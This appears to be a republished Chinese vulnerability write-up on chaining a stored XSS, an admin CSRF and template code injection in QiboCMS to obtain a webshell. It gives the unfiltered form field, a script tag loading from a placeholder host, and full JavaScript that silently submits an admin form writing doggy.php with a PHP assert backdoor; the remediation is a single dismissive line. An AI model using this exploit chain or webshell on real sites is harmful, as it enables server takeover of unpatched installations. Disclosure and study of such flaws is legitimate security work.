好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

齐博CMS存储型XSS可getshell(组合利用) - 网站安全

齐博cms,利用威胁不大的前台存储型xss+没有任何危害的后台CSRF+几乎无影响可忽略的后台getshell 3个0day 结合起来的威力拿下齐博cms,虽然不算什么严重的 漏洞 ,但是中途遇到的问题和突破还是聊以慰藉的,还请各位看官轻轻拍砖. ——by pandas

前一段时间西毒爆出qibocms 0day的时候 就看过齐博cms的代码,发现了几个后台的getshell,后台getshell很多,拿不出手,厂商也是无影响积极忽略的态度,后台提交表单基本都存在CSRF,如果能有一个前台的getshell威力应该会增加许多,于是就去前台黑盒挖出了一个xss.这样结合起来就可以getshell了.

 

1.存储型XSS位置:会员中心->万能表单->发布信息->版主申请:

 

postdb[sortname][] 的提交值没有经过过滤,但是进行了长度限制,不过这个长度足以写<script src="http://xxx.com/1.js">,提交之后需要管理员在后台->快捷菜单->万能表单模型管理->版主申请->管理->查看详情 处触发.发现斜杠被替换了所以改用反斜杠<script src="http:\\xxx.com\1.js">. 1.js是我们需要外部加载的内容.这里需要提交一个表单,位于 后台 系统 功能->插件管理->积分介绍管理(jfadmin_mod)修改积分介绍其中的任何一个,在标题或内容处插入${@phpinfo();}。便可以造成代码执行.

 

于是就提交一个php写文件的代码即可.

 

1.js内容如下:

 

 

thisTHost = top.location.hostname; thisTHost = "http://"+thisTHost+"/v7/admin/index.php?lfj=jfadmin&action=addjf"; function PostSubmit(url) { var postUrl = url; var ExportForm = document.createElement("FORM"); document.body.appendChild(ExportForm); ExportForm.method = "POST"; var newElement = document.createElement("input"); newElement.setAttribute("name", "title"); var newElement2 = document.createElement("input"); newElement2.setAttribute("name", "fid"); var newElement3 = document.createElement("input"); newElement3.setAttribute("name", "list"); var newElement4 = document.createElement("input"); newElement4.setAttribute("name", "content"); ExportForm.appendChild(newElement); ExportForm.appendChild(newElement2); ExportForm.appendChild(newElement3); ExportForm.appendChild(newElement4); newElement.value = "${@fwrite(fopen('doggy.php', 'w+'), '<?php assert($_POST[aaa]);?>')}"; newElement2.value = 1; newElement3.value = 1; newElement4.value = 1; ExportForm.action = postUrl; ExportForm.submit(); }; PostSubmit(thisTHost);

 

 

 

分为两个部分证明:

 

1.用户部分

 

1)登录

 

 

2)写xss

 

 

 

2.管理员部分

 

查看申请

 

 

 

在网站/admin目录下会增加doggy.php

 

 

内容:

 

 

修复方案: 重视即可修复 

 

查看更多关于齐博CMS存储型XSS可getshell(组合利用) - 网站安全的详细内容...

  阅读:87次